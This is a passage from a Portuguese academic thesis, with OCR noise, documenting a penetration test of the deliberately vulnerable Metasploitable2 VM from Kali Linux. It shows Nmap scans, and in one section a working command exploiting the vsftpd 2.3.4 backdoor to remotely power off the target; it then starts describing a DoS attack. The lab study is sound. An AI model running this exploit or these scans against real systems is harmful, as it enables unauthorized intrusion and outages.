https://nmap.org/nsedoc/. Dentre os comandos utilizados na parte de exploracéo,

alguns estéo nos scripts da NSE.

A documentacdo do Nmap tem versao em portugués e esta disponivel

no site oficial no link: https://nmap.org/man/pt_BR/.
4.3. SOFTWARE METASPLOIT

O Metasploit Framework € uma plataforma de teste de penetracédo
bastante robusta e com uma grande gama de ferramentas que permite encontrar,

explorar e validar vulnerabilidades. Este projeto € mantido pela empresa Rapid7,
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tem uma versédo gratuita, a qual foi utilizado neste trabalho, mas também, possui

uma versao comercial.

O manual de instalacdo do Metasploit esta disponivel no link
https://metasploit.help.rapid7.com/docs/installing-the-metasploit-framework, assim
como a documentacdo do software esta disponivel nesse outro link:

https://metasploit.help.rapid7.com/docs.
4.4, MAQUINA VIRTUAL METASPLOITABLE

E uma maquina virtual Ubuntu Linux que disponibiliza um servidor web
intencionalmente vulneravel que pode ser utilizada para realizar treinamento de
seguranca, testar ferramentas de seguranca e praticar técnicas comuns de teste de

penetracao.

O arquivo de imagem ISO pode ser baixado no site da sourceforge pelo

link: https://sourceforge.net/projects/metasploitable/files/Metasploitable2/.

Ap6és ter baixado o arquivo .zip do Metasploitable2 basta descompacta-
lo e acessar um diretério com o0 nome Metasploitable2-linux e dentro desse diretoério
haverd o arquivo Metasploitable.vmdk, arquivo utilizado para a maquina do

VirtualBox.

Com o VirtualBox aberto cliquei no botdo “Novo”, o nome dado a nova
maquina virtual foi Metasploitable e as demais configuragdes foram feitas conforme

a Figura 15.

Criar Maquina Virtual (]

Nome e Sistema Operacional

Escolha um nome descritivo para a nova maquina virtual e selecione o tipo de
sistema operacional que vocé pretende instalar nela. O nome que vocé
escolher sera utilizado pelo VirtualBox para identificar esta maquina.

Nome: |Metasploitable

Q, Pasta da Maquina: [l /home/fabricio/VirtualBox VMs -
| - Tipo: | Linux -

w Vers3o: | Other Linux (64-bit) -

Modo Expert |Pr:’:ximo (N) >| Cancelar

Figura 15 - Criando nova maquina virtual Metasploitable.
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Na sequéncia configurei da seguinte forma:

e 512MB de memoéria RAM;

e na préxima tela selecionei a opgao “Utilizar um disco rigido virtual
existente” e clique no icone da pasta, conforme a Figura 16.

o Posteriormente selecionei o arquivo Metasploitable.vmdk. Assim
feito, cliquei em “Criar” e a maquina virtual Metasploitable ficou

pronta.

Criar Maquina Virtual (]

Disco rigido
Se vocé quiser, pode acrescentar um disco rigido virtual a esta maquina

virtual. Vocé pode acrescentar um arquivo de disco rigido virtual na lista ou
selecionar outro local utilizando o icone de pasta.

& Se vocé deseja uma configuracao de armazenamento mais complexa, pode
pular este passo e fazer as mudangas manualmente na configuracao da

& maguina assim que ela terminar de ser criada.

|

Recomenda-se utilizar um disco rigido de 8,00 GB.

w Nao acrescentar um disco rigido virtual
Criar um novo disco rigido virtual agora
o Utilizar um disco rigido virtual existente

Metasploitable.vmdk {(Normal, 8,00 GB) -~

< Voltar (B) . Criar || Cancelar
Figura 16 - Selecionar o disco rigido ja existente do Metasploitable.
Esta maquina virtual € o host onde foi efetuado os scans de rede e os
testes contra as vulnerabilidades disponiveis intencionalmente para serem
explorados. A documentacdo do Metasploitable estd disponivel no link:

https://metasploit.help.rapid7.com/docs/metasploitable-2-exploitability-guide.
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5. REALIZACAO DE TESTES DE PENETRACAO
5.1. INICIALIZANDO AS MAQUINAS VIRTUAIS

Com o VirtualBox aberto, configurei a rede das maquinas virtuais
utilizando uma rede NAT (Network Address Translation), o que permitiu que as duas
maquinas virtuais se enxergassem para a execucao dos scanners e os testes de
penetracdo. Para isto, selecionei a maquina Metasploitable, e cliquei na opcéo
“Configuragdes”, conforme a Figura 17. Posteriormente no menu “Rede” cliquei na
opgao “conectado a:” e marquei a opcao “Rede NAT”, como mostra a Figura 18.

Configurei da mesma forma a maquina KALI.

Oracle VM VirtualBox Gerenciador o

Arguivo () Maquina Ajuda (H)
i w =
ﬁ%g Ferramentas -
Novo Configuragdes Iniciar (T)
Py vm = Geral = Pré-visualizagso =
f © pesligada Nome: Metasploitabl
e
=, = Sistema Operacional: Other Linux
©) §= (64-bit) y
Localizagdo do Arquivo de Configuracoes: /home/ Metasploitable
FS) Kali-Linux-2019.3-vb... \f?bt”“fg
B o . irtualBox
© Desligada VMs/

[# sistema

Memodria Principal: 256 MB
Ordem de Boot:
Aceleracao:

[ ——ta

Metasploitabl
e

Disquete, Optico, Disco Rigido
VT-x/AMD-V, Paginacao Aninhada, PAE/NX, Paravirtualizagao KvM

Figura 17 - Configuragéo de rede das maquinas virtuais.

Metasploitable - Configuragdes [ x ]

) Geral Rede

E Sistema Adaptader 1 | Adaptador2  Adaptador 3
Monitor

B ¥| Habilitar Placa de Rede
Al [«

&l Armazenamento Conectado a: Rede NAT

(DJ Audio Mome: NatNetwork

@ Portas Seriais

£ use

["] Pastas compartilhadas

If| Interface do Usudrio

& Avancado (D)

‘Adaptador 4

* Cancel « 0K

Figura 18 - Configuragéo de rede NAT das maquinas virtuais.

Apos as duas maquinas estarem com a rede configurada, pude inicializa-

las no VirtualBox. Para isso, com o VirtualBox j& aberto, selecionei a maquina
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Metasploitable e cligue no botdo “Iniciar”, conforme a Figura 19. Fiz o mesmo

processo de inicializacdo para a maquina KALI.

Oracle VM VirtualBox Gerenciador

Arquivo (F) Maquina Ajuda (H)

My
neW o ¢ é >
ﬁﬂﬁ Ferramentas }Ll-\nr"é &»\_AJ -
Novo Configuragdes Iniciar (T)
vm = Geral = pré-visualizacio =
© Dpesligada Nome: Metasploitabl
e
[ca} — Sistema Operacional: Other Linux
© i= (64-bit) .
Localizagdo do Arquivo de Configuragges: /home/ Metasploitable
F) Kali-Linux-2019.3-vb... f?b“('lol
i © Desligada xat;a Box

Metasploitabl
e

(] sistema

Meméria Principal: 256 MB
Ordem de Boot: Disquete, Optico, Disco Rigido
Aceleracao: VT-x/AMD-V, Paginacao Aninhada, PAE/MX, Paravirtualizacao KVM

[ -

Figura 19 - Inicializando maquina virtual Metasploitable.

Com as duas maquinas inicializadas, pude logar nos sistemas
operacionais delas. Utilizei o usuario: msfadmin e a senha: msfadmin para logar no
Metasploitable e usuario: root e senha toor para logar no Kali. Pude observar os

dois sistemas nas Figuras 20 e 21.

Arquivo Maquina Visualizar Entrada Dispositivos Ajuda

sfadmin@netasploitable:™

arning: Mever expose this UM to an wuntrusted network?

ontact: msfdevliatImetasploit.com

Login with msfadminsns=fadmin to get started

etasploitable login:

Figura 20 - Maquina Metasploitable aberta.
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Arquivo Maquina Visualizar Entrada Dispositivos Ajuda

Aplicativos ¥ Locais ¥ sex05:31

Figura 21 - Maquina Kali Linux aberta.

Para alterar o idioma do Kali para portugués brasileiro abri a opcéo
configuracdes, conforme a Figura 22, em seguida, no menu lateral selecionei a
opcéao de regido e idioma como mostra a Figura 23 e adicionei o idioma portugués

para as opc¢oes de idioma do sistema e teclado.

Conectado a Cabeada
Proxy Nenhum

Completamente carrega...

Figura 22 - Configuragfes do Kali Linux.
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Q Configuragdes Regido & idioma ®e0 0
% Bluetooth

@ Plano de fundo Idioma Portugués (Brasil)

A Notificagoes Eama o

Q Pesquisa

Fontes de entrada
M Regido & idioma

O A ibilidad Portugués (Brasil)
cessibilidade

+ - A~ v =
& Contas online

W Privacidade
Figura 23 - Configuragcéo de Idioma e teclado Kali Linux.

5.2. UTLIZANDO A FERRAMENTA NMAP (NETWORK MAPPER)

Na sequéncia abri o terminal para executar os primeiros comandos do
software Nmap. Com o comando “man nmap” abre-se o manual em portugués que
contém informacdes basicas sobre o0 Nmap, assim como descri¢cdo, parametros a

serem utilizados e um exemplo, conforme Figura 24.

root@kali: ~ @ ® 0

Arquivo Editar Ver Pesquisar Terminal Ajuda
MAP (1) [FIXME: manual] NMAP (1)

OME
nmap - Ferramenta de exploracao de Rede e Rastreio de Seguranca /
Portas

nmap [Tipo de Rastreio(Scan)...] [Opgdes] {Especificacdo do Alvo}

DESCRICAO
0 Nmap (“Network Mapper”) é uma ferramenta em codigo aberto para
exploragao de rede e auditoria de seguranca. Foi desenhada para
rastrear(Scan) rapidamente redes amplas contudo funciona bem com um
Unico anfitrido(host). Nmap usa pacotes IP em estado bruto(raw) sobre
novas formas para determinar que anfitrides(hosts) estdo disponiveis na
rede, que servicos (nome e versao da aplicacao) esses anfitrides(hosts)

estdo disponibilizando, que sistemas operativos (e versdes de S0) estédo
em uso, que tipo de filtros de pacotes/firewalls estdo em uso e dezenas
de outras caracteristicas. Enquanto o Nmap é frequentemente usado para
auditorias de seguranca, muitos sistemas e administradores de redes
consideram-no Gtil para as tarefas de rotina como o inventario da rede,
gestdo de actualizacdes de servicos e monitorizar o uptime de
anfitrides ou servigos.

A saida do Nmap é uma lista de alvos rastreados(scanned) com
informagdes adicionais de cada um dependendo das opgoes utilizadas. Uma
informagao chave é a “tabela de portas interessantes”. Essa tabela
lista o numero da porta e o protocolo, o nome do servigo e o estado. 0
estado pode ser aberto (open), filtrado (filtered), fechado (closed),
ou nao-filtrado (unfilterd). Aberto (open) significa que uma aplicacgao
na maquina-alvo esta escutando as conexdes/pacotes nessa porta.

Manual page nmap(l) line 1 (press h for help or g to quit)

Figura 24 - Manual Nmap.

Inicialmente é necessério fazer uma consulta no terminal para descobrir
em qual faixa de rede a maquina Kali Linux esta alocada. Para isso utilizei o
comando “ifconfig” do Linux que apresenta informacdes da placa de rede. O

resultado dessa consulta mostra que o IP € 10.0.2.15 conforme a Figura 25.
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Arquivo Editar Ver Pesquisar Terminal Ajuda
:~# ifconfig

eth®: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500

inet PCHCIPIPER netmask 255.255.255.0 broadcast 10.0.2.255

inet6 fe80::a00:27ff:fe7c:8e8e prefixlen 64 scopeid Ox20<link>

ether 08:00:27:7c:8e:8e txqueuelen 1000 (Ethernet)

RX packets 11729 bytes 17501999 (16.6 MiB)

RX errors © dropped © overruns 0 frame ©

TX packets 2655 bytes 163309 (159.4 KiB)

TX errors © dropped © overruns © carrier ® collisions ©

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Loopback Local)
RX packets 24 bytes 1356 (1.3 KiB)
RX errors © dropped © overruns © frame 0
TX packets 24 bytes 1356 (1.3 KiB)
TX errors @ dropped © overruns © carrier © collisions ©

Figura 25 - Consulta de IP da maquina Kali Linux.

5.2.1 Scan de hosts ativos

Neste momento fiz um scan na faixa de IP com terminacdo de 0 a 255
para descobrir quais hosts estdo disponiveis na rede. Para este scan utilizei
parametro -sn onde o Nmap executa um ping scan sem executar verificacdo de
portas abertas, mas, somente se o0 host esta ativo. O parametro -n serve para que
o Nmap nao faga resolugdo de DNS em cada host encontrado, pois este € um
procedimento lento e neste momento, s6 preciso descobrir em qual endereco IP

estd o Metasploitable. Sendo assim, o comando ficou da seguinte forma:
nmap -sn 10.0.2.0-255 -n

O resultado dessa consulta € o seguinte, conforme Figura 26.

Editar Ver Pesquisar Terminal Ajuda
:~# nmap -sn 10.0 : n

map.org ) at 2019-10-25 06:52 EDT

Arquivo

0 (QEMU virtual NIC)
Nmap scan report f
Host is up (0.€
MAC Address: 5 . (QEMU virtual NIC)

:27:8C:C8:6C (Oracle VirtualBox virtual NIC)
r 10.0.2.4
atency).
MAC Address: :€2:07: (Oracle virtualBox virtual NIC)

Nmap scan report

Host is up.

Nmap done: 256 IP addresses (5 hosts up) scanned in 2.85 seconds
% ]

Figura 26 - Resultado do ping scan.
5.2.2 Scan de hosts com servicos ativos
Pude observar, conforme ilustra a Figura 26 que foram encontrados hosts

nos IP’s com terminagdes 1, 2 ,3, 4 e 15. Sei que o IP do Kali Linux € 0 10.0.2.15

conforme a consulta anterior. Dessa forma fiz um scan de portas de servi¢os do tipo



40

TCP utilizando o parametro —sS, para realizar um scan do tipo SYN, que sera
detalhado na sequéncia do trabalho, nos hosts com os IP’s que tenham terminacéo
de 1 até 4 para descobrir qual é o host alvo. Ainda inclui o parametro -oN que faz
com gue o Nmap salve o resultado da consulta em um arquivo, podendo assim, ser
utilizado em verificagdes posteriores sem que precise refazer a consulta. O

comando ficou da seguinte forma:
nmap -sS 10.0.2.1-4 -oN scan_tcc_descobrir_host

Com o resultado dessa consulta pude observar que o host 10.0.2.1 tem
apenas a porta 53 aberta onde opera o servico de DNS (Sistema de nome de
dominio). O host 10.0.2.2 tem apenas as portas 631, 30800, 30900 e a 54582
abertas que nédo trazem seus servicos identificados. O host 10.0.2.3 ndo tem
nenhuma porta aberta, conforme Figura 27. Ja o host 10.0.2.4 tem uma grande
guantidade de portas e servi¢os ativos. Como alguns exemplos de servicos mais
conhecidos, tem o FTP na porta 21 para transferéncia de arquivos; o SSH na porta
22 para execucao de terminal remoto; o HTTP como servidor web na porta 80; o
IRC que é um protocolo de servico de chat ao vivo na porta 6667 entre outros
inimeros servigos conforme mostra a Figura 28. Sendo assim pode-se deduzir que

0 Metasploitable esta no endereco IP 10.0.2.4.

Arquivo Editar Ver Pesquisar Terminal Abas Ajuda
root@kali: ~ x root@kali:

:~# nmap -sS -p- 10.0.2.1-4 -oN scan_tcc hosts
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-25 07:07 EDT
Nmap scan report for 10.0.2.1 (10.0.2.1)
Host is up (0.000094s latency).
Not shown: 65534 closed ports
PORT STATE SERVICE
53/tcp open domain
MAC Address: 52:54:00:12:35:00 (QEMU virtual NIC)

Nmap scan report for 10.0.2.2 (10.0.2.2)
Host is up (0.00013s latency).
Not shown: 65531 closed ports
STATE SERVICE
open ipp
open unknown
open unknown
open unknown
MAC Address: 52:54:00:12:35:00 (QEMU virtual NIC)

Nmap scan report for 10.0.2.3 (10.0.2.3)

Host is up (0.00011ls latency).

ALl 65535 scanned ports on 10.0.2.3 (10.0.2.3) are filtered
MAC Address: 08:00:27:8C:C8:6C (Oracle VirtualBox virtual NIC)

Nmap scan report for 10.0.2.4 (10.0.2.4)
Host is up (0.00012s latency).

: 65505 closed ports

STATE SERVICE

open ftp

open ssh

Figura 27 - Resultado da consulta de hosts com servigos ativos.
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root@kali: ~ x

Nmap scan report for 10.0.2.4 (10.0.2.4)
Host is up (0.00012s latency).
Not shown: 65505 closed ports

STATE SERVICE

open ftp

open ssh

open telnet

open smtp

open domain

open http

open rpcbind

open netbios-ssn

open microsoft-ds

open exec

open login

open shell
1099/tcp open rmiregistry
1524/tcp open ingreslock
2049/tcp open nfs
2121/tcp open ccproxy-ftp
3306/tcp open mysql
3632/tcp open distccd
5432/tcp open postgresql
5900/tcp open vnc
6000/tcp open Xl11
6667/tcp open irc
6697/tcp open ircs-u
8009/tcp open ajpl3
8180/tcp open unknown
8787/tcp open msasrvr

Figura 28 - Servicos ativos do host 10.0.2.4.
Apos ter descoberto o host alvo, apliquei diversos tipos de scan para

descobrir informacdes sobre este host. Na pratica do pentest € necessario ter-se o
méximo de informacdes possiveis sobre o0 alvo para podermos elaborar as taticas

de invasao e exploracao.

5.2.3 Scan de servi¢os no protocolo TCP

TCP é, de forma superficial, um protocolo de controle de transicdo de
dados de alta confiabilidade que assegura que os pacotes cheguem ao seu destino

na sequéncia correta e sem falhas.

Iniciei com um scan TCP utilizando o parametro -sT onde o Nmap fez
uma comunicagcdo com o servidor solicitando uma conexéao three way hand-shake
onde o Nmap envia um pacote SYN e aguarda a resposta do servidor que deve ser
um pacote SYN/ACK e por fim o Nmap conclui a conexéo enviando o pacote ACK
estabelecendo a conex&o com o servidor alvo. Ainda, utilizei o parametro -oN para

salvar o resultado em um arquivo.
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Este procedimento, segundo Lyon (2008), faz com que o servidor saiba
gue o Nmap esta conectado a ele, sendo assim essa forma ndo é uma pratica de

scan muito utilizada por quem quer escanear de forma sutil sem ser visto.
O comando para esse scan € o seguinte:
nmap —sT 10.0.2.4 -oN scan_tcc_st

Nesse comando néo foi incluido o parametro -p para definir as portas a
serem escaneadas, sendo assim o Nmap fez uma busca nas portas ja conhecidas,
como portas padréao para cada servi¢co. O resultado desse scaner pode ser visto na
Figura 29.

Arquivo Editar Ver Pesquisar Terminal Ajuda

:~# nmap -sT 10.0.2.4 -oN scan_tcc st
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-25 19:09 EDT
Nmap scan report for 10.0.2.4
Host is up (0.00055s latency).
Not shown: 977 closed ports
PORT STATE SERVICE
21/tcp open fTtp
22/tcp open ssh
23/tcp open telnet
25/tcp open smtp
53/tcp open domain
80/tcp open http
open rpcbind
open netbios-ssn
open microsoft-ds
open exec
open login
open shell
1099/tcp open rmiregistry
1524/tcp open ingreslock
2049/tcp open nfs
2121/tcp open ccproxy-ftp
3306/tcp open mysql
5432/tcp open postgresql
5900/tcp open vnc
open X11
open 1irc
open ajpl3
open unknown
MAC Address: 08:00:27:C2:07:D5 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 13.26 seconds
Figura 29 - Resultado do TCP scan.

5.2.4 Scan do tipo SYN no protocolo TCP

A melhor forma de fazer este tipo de scaner, segundo Lyon (2008), é
utilizando o SYN scan com o parametro -sS, onde é feito uma comunicagdo com o
servidor de modo furtivo, ndo completando todas as etapas da conexao three way

hand-shake. O Nmap envia o pacote SYN, recebe o pacote SYN/ACK
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(possibilitando identificar que esta porta esta aberta) e imediatamente finaliza a
conexao enviando o pacote RST, impedindo que o servidor registre a conexao na
tabela TCP dele.

O comando para efetuar o0 escaneamento € o seguinte:

nmap -sS 10.0.2.4 -oN scan_tcc_ss

O resultado desse scan é bastante semelhante ao resultado do scan TCP
(com o parametro -sT) que utilizei na sesséo 5.2.3, porém, € efetuado de forma mais
silenciosa por ndo completar a conexdao com o servidor a cada consulta de porta.
Vide Figura 30.

:~# nmap -sS 10.0.2.4 -oN scan tcc ss
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-27 12:18 EDT
Nmap scan report for 10.0.2.4 (10.0.2.4)
Host is up (0.000092s latency).
Not shown: 977 closed ports

STATE SERVICE

open ftp

open ssh

open telnet

open smtp

open domain

open http

open rpcbind

open netbios-ssn

open microsoft-ds

open exec

open login

open shell

open rmiregistry

open ingreslock

open nfs

open ccproxy-ftp

open mysql

open postgresql

open vnc

open X11

open irc

open ajpl3

open unknown
MAC Address: 08:00:27:C2:07:D5 (Oracle VirtualBox virtual NIC)

Figura 30 - Resultado do SYN scan.

5.2.5 Scan de servi¢cos no protocolo UDP

UDP € um protocolo que permite a transferéncia de dados com laténcia
mais baixa, porém, ndo assegura que os dados cheguem corretamente. Aplicacdes
conhecidas que utilizam este protocolo sdo os servicos de streaming de audio e

video.

Outro scan muito importante utilizado € o de portas que utilizam servigos
do tipo UDP. O Nmap utiliza para o scan UDP o parametro -sU. Assim, o comando

ficou da seguinte forma:

nmap -sU 10.0.2.4 -oN scan_tcc_su
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Este scan retornou as seguintes portas abertas com seus respectivos

servicos mostrados na Figura 31.

root@kali: ~

Arquivo Editar Ver Pesquisar Terminal Ajuda

:~# nmap -sU 10.0.2.4 -oN scan tcc su
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-29 09:09 EDT
Stats: 0:07:37 elapsed; 0 hosts completed (1 up), 1 undergoing UDP Scan
UDP Scan Timing: About 43.28% done; ETC: 09:27 (0:09:42 remaining)
Nmap scan report for 10.0.2.4
Host is up (0.00095s latency).
Not shown: 993 closed ports
STATE SERVICE
open domain
open|filtered dhcpc

open|filtered tftp
open rpcbind
open netbios-ns
open|filtered netbios-dgm
2049/udp open nfs
MAC Address: 08:00:27:C2:07:D5 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 1091.30 seconds
~# I

Figura 31 - Resultado do UDP scan.

5.2.6 Scan de versdes de servi¢cos no protocolo TCP

Outra opcédo de scan importante é o scan de servi¢os e versdes utilizando
o parametro -sV, do qual o Nmap enumera os servi¢os disponiveis em cada porta
aberta, assim como a versao do software daquele servigco. O conhecimento dessas
versdes € muito util, pois, pode-se pesquisar vulnerabilidades conhecidas para
estes servicos que estdo em execucao. Novamente utilizei o parametro -oN para

salvar o resultado da consulta em um arquivo.
O comando usado para esse scan foi:
nmap -sV 10.0.2.4 -oN scan_tcc_sv

Pude observar no resultado deste scan que o Nmap retornou diversas
portas abertas com servicos ativos e a versao de cada servigo, como por exemplo
a porta 3306 que esta com MySQL rodando na versao 5.0.51a-3ubuntu5 e a porta
5432 rodando o PostgreSQL DB 8.3.0 — 8.3.7, a porta 21 com o VSFTPd na versao
2.3.4, a porta 22 com o OpenSSH na verséo 4.7pl dentre outros servicos listados

conforme a Figura 32.
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root@kali: ~

Terminal Abas Ajuda

root@kali: ~ »

:~# nmap -sV 10.0.2.4 -oN scan tcc sv
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-30 13:49 EDT
Nmap scan report for 10.0.2.4
Host is up (0.000064s latency).

Not shown: 977
STATE
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open

closed ports

SERVICE
ftp

ssh

telnet
smtp
domain
http
rpcbind
netbios-ssn
netbios-ssn
exec

login
tcpwrapped
java-rmi
bindshell
nfs

ftp

mysql
postgresql
vnc

X11

irc

ajpl3

http

Figura 32 -

VERSION

vsftpd 2.3.4

OpenSSH 4.7pl Debian 8ubuntul (protocol 2.0)
Linux telnetd

Postfix smtpd

ISC BIND 9.4.2

Apache httpd 2.2.8 ((Ubuntu) DAV/2)

2 (RPC #100000)

Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
netkit-rsh rexecd

OpenBSD or Solaris rlogind

GNU Classpath grmiregistry
Metasploitable root shell
2-4 (RPC #100003)

ProEEPD 2l e300

MySQL 5.0.51a-3ubuntu5
PostgreSQL DB 8.3.0 - 8.3.7
VNC (protocol 3.3)

(access denied)

UnrealIRCd

Apache Jserv (Protocol v1.3)
Apache Tomcat/Coyote JSP engine 1.1

Resultado do scan de servigos TCP.

5.2.7 Scan de versdes de servi¢os no protocolo UDP

Na sequéncia fiz 0 mesmo scan executado anteriormente, porém, agora

para portas que utilizam servicos do tipo UDP adicionando o parametro -sU ao

comando utilizado anteriormente, ficando dessa forma:

nmap -sV -sU 10.0.2.4 -oN scan_tcc_sv_su

Assim como no scan que fiz anteriormente, o Nmap retornara as portas

abertas com os servi¢os do tipo UDP e suas respectivas versfes, como mostra a

Figura 33.
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root@kali: ~
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root@kali: ~ x root@kali: ~

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.83 seconds

:~# nmap -sV -sU 10.0.2.4 -oN scan_tcc sv su
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-30 14:01 EDT

:~# nmap -sV -sU 10.0.2.4 -oN scan_tcc _sv su
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-30 14:07 EDT
Stats: 0:03:01 elapsed; © hosts completed (1 up), 1 undergoing UDP Scan
UDP Scan Timing: About 17.91% done; ETC: 14:24 (0:13:31 remaining)
Stats: 0:12:09 elapsed; © hosts completed (1 up), 1 undergoing UDP Scan
UDP Scan Timing: About 69.56% done; ETC: 14:25 (0:05:17 remaining)
Nmap scan report for 10.0.2.4
Host is up (0.00070s latency).
Not shown: 993 closed ports
STATE SERVICE VERSION
open domain ISC BIND 9.4.2
open|filtered dhcpc
open|filtered tftp
111/udp open rpcbind 2 (RPC #100000)
137/udp open netbios-ns Samba nmbd netbios-ns (workgroup: WORKGROUP)
138/udp open|filtered netbios-dgm
2049/udp open nfs 2-4 (RPC #100003)
MAC Address: 08:00:27:C2:07:D5 (Oracle VirtualBox virtual NIC)
Service Info: Host: METASPLOITABLE

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1178.17 seconds
~# I

Figura 33 - Resultado do scan de servigos UDP.
5.2.8 Scan de Sistema operacional identificando uma possivel

vulnerabilidade

Outra opcao importante € o scan de sistema operacional que utiliza o
parametro -A. Este scan identifica a versao do sistema operacional do host com

base nas portas que estéo abertas e fechadas. Dessa forma o comando ficou assim:
nmap -A 10.0.2.4 -oN scan_tcc_scripts

O resultado desse scan, observado na Figura 34, trouxe uma grande
guantidade de informacé&o, como por exemplo, a porta 21 que traz um servigo FTP
gue permite efetuar login de maneira anénima, porém, é preciso averiguar se com
este login € possivel acessar dados além dos permitidos pela pasta public e se é
possivel executar comandos de carater administrativo na maquina, por exemplo, o

comando “poweroff’ que desligaria o servidor.
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root@kali: ~ x

:~# nmap -A 10.0.2.4 -oN scan tcc scripts
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-30 14:48 EDT
Nmap scan report for 10.0.2.4
Host is up (0.00075s latency).
Not shown: 977 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
|  STAT:
| FTP server status:
| Connected to 10.0.2.15
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| vsFTPd 2.3.4 - secure, fast, stable
| End of status
22/tcp open ssh OpenSSH 4.7pl Debian 8ubuntul (protocol 2.0)
| ssh-hostkey:
| 1024 60:0f:cf:el:c0:57:6a:74:d6:90:24:fa:c4:d5:6¢c:cd (DSA)
| 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
23/tcp open telnet Linux telnetd
25/tcp open smtp Postfix smtpd
| smtp-commands: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STA
| ssl-date: 2019-10-30T18:49:46+00:00; -1s from scanner time.
53/tcp open domain ISC BIND 9.4.2
| dns-nsid:

Figura 34 - Resultado do scan de SO identificando login anénimo na porta 21.

5.2.9 Scan de sistema operacional e versao

Outro dado importante é a versao e as demais informacfes do sistema
operacional, para que possa pesquisar falhas especificas para a verséo do sistema.
O parametro necessario para executar o scan de sistema operacional € o -O.

Ficando da seguinte forma:
nmap -O 10.0.2.4 -oN scan_tcc_o

Como pude observar na Figura 35, obtive a versdo do kernel Linux sendo
2.6 e a verséo do Linux podendo estar entre as versdes 2.6.9 a 2.6.33 e a distancia

do servidor na rede é de 1 pulo.
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root@kali: ~

STATE SERVICE

open ftp

open ssh

open telnet

open smtp

open domain

open http

open rpcbind

open netbios-ssn

open microsoft-ds

open exec

open login

open shell
1099/tcp open rmiregistry
1524/tcp open ingreslock

open nfs

open ccproxy-ftp

open mysql

open postgresql

open Vvnc

open X11

open irc

open ajpl3

open unknown
MAC Address: 08:00:27:C2:07:D5 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 2.6.X
0S CPE: cpe:/o:linux:linux kernel:2.6
0S details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop

Figura 35 - Resultado do scan de sistema operacional.

Ao executar o comando “uname -a” na maquina Metasploitable, para ver
a versao do sistema operacional dela, conforme Figura 36, nota-se que a versao do
Linux € 2.6.24, podendo assim confirmar que o scan do Nmap obteve um resultado
bastante proximo da versao exata do Linux do servidor.

Arquivo Maquina Visualizar Entrada Dispositivos Ajuda

sfadnin@netasploitable:™5 uname -a
inux metasploitable 2.6.24-16-server #1 SMP Thu fApr 10 13:58:00 UTC Z008 i6B6 G

UsLinux
sfadmin@netasploitable: ™5

Figura 36 - Consulta de versdo do Linux no Metasploitable.
5.2.10 Explorando a vulnerabilidade do servico VSFTPd (Very
Secure FTP Daemon)
Essa vulnerabilidade ja é conhecida e foi relatada em 04/07/2011 na

CVE-2011-2523 e esta disponivel para consulta no site oficial no seguinte link

https://cve.mitre.org/cqgi-bin/cvename.cgi?name=CVE-2011-2523. A CVE (Common
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Vulnerabilities and Exposures) é uma organizacdo que mantém uma lista de
identificadores comuns de vulnerabilidades de seguranca cibernética conhecidas
publicamente. Seu site oficial esta disponivel no link:

https://cve.mitre.org/index.html.

A falha esta no protocolo FTP e permite que um usuario acesse login

andnimo e execute tarefas a nivel de administrador.
O comando pronto para explorar esta vulnerabilidade é o seguinte:

nmap -sS -p 21 -Pn --script ftp-vsftpd-backdoor --script-args ftp-vsftpd-
backdoor.cmd=poweroff 10.0.2.4

Neste comando utilizei o scan SYN com o parametro -sS, selecionei a
porta 21 com o parametro “-p 217, utilizei também o parametro -Pn para o Nmap nao

executar ping scan.

Para que o Nmap execute as tarefas contidas no script do NSE utilizei o
parametro --script com o valor “ftp-vsftpd-backdoor” e o parametro --script-args com
o valor “ftp-vsftpd-backdoor.cmd=poweroff’ para passar o argumento contendo o
comando que sera executado no shell do alvo. O comando “poweroff’ envia um sinal

que desliga a maquina Linux, se tiver privilégios para isto.

O resultado desse scan pode ser observado na Figura 37, onde o
servidor Metasploitable esta executando o desligamento por consequéncia do

comando enviado remotamente pelo Nmap.

sfadmin@netasploitable:™$
Broadcast message from rootPrnetasploitable
(unknoun) at 8:09 ...

The system is going down for power off NOU?
= Stopping web server apacheZ
= Stopping Tomcat servlet engine tomcat5.5
[Stopping Samba daemons: nmbd smbd.
not implemented
Stopping NF3 common utilities
Stopping Postfix Mail Transport Agent postfix
Stopping internet superserver xinetd
Stoppi MySQL database server mysgld

Figura 37 - Exploracéo da vulnerabilidade do protocolo FTP — VSFTPd.

5.2.11 — Executando ataque DoS

Explorei neste momento uma vulnerabilidade do Metasploitable em seu
servidor web Apache, onde ele permite sofrer um ataque de negacéo de servico —
DoS (denial of servisse), onde o servidor se sobrecarregara e se tornara indisponivel

para acesso.
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Pude observar no Kali Linux, abrindo o navegador e digitando o endereco
IP do Metasploitable na barra de enderecos, que ele disponibiliza uma pagina web,
conforme a Figura 38. ApOs executado o ataque, a pagina web do Metasploitable

ndo estara mais disponivel.

Metasploitable2 - Linux -

Metasploitable2 - Linux x |+

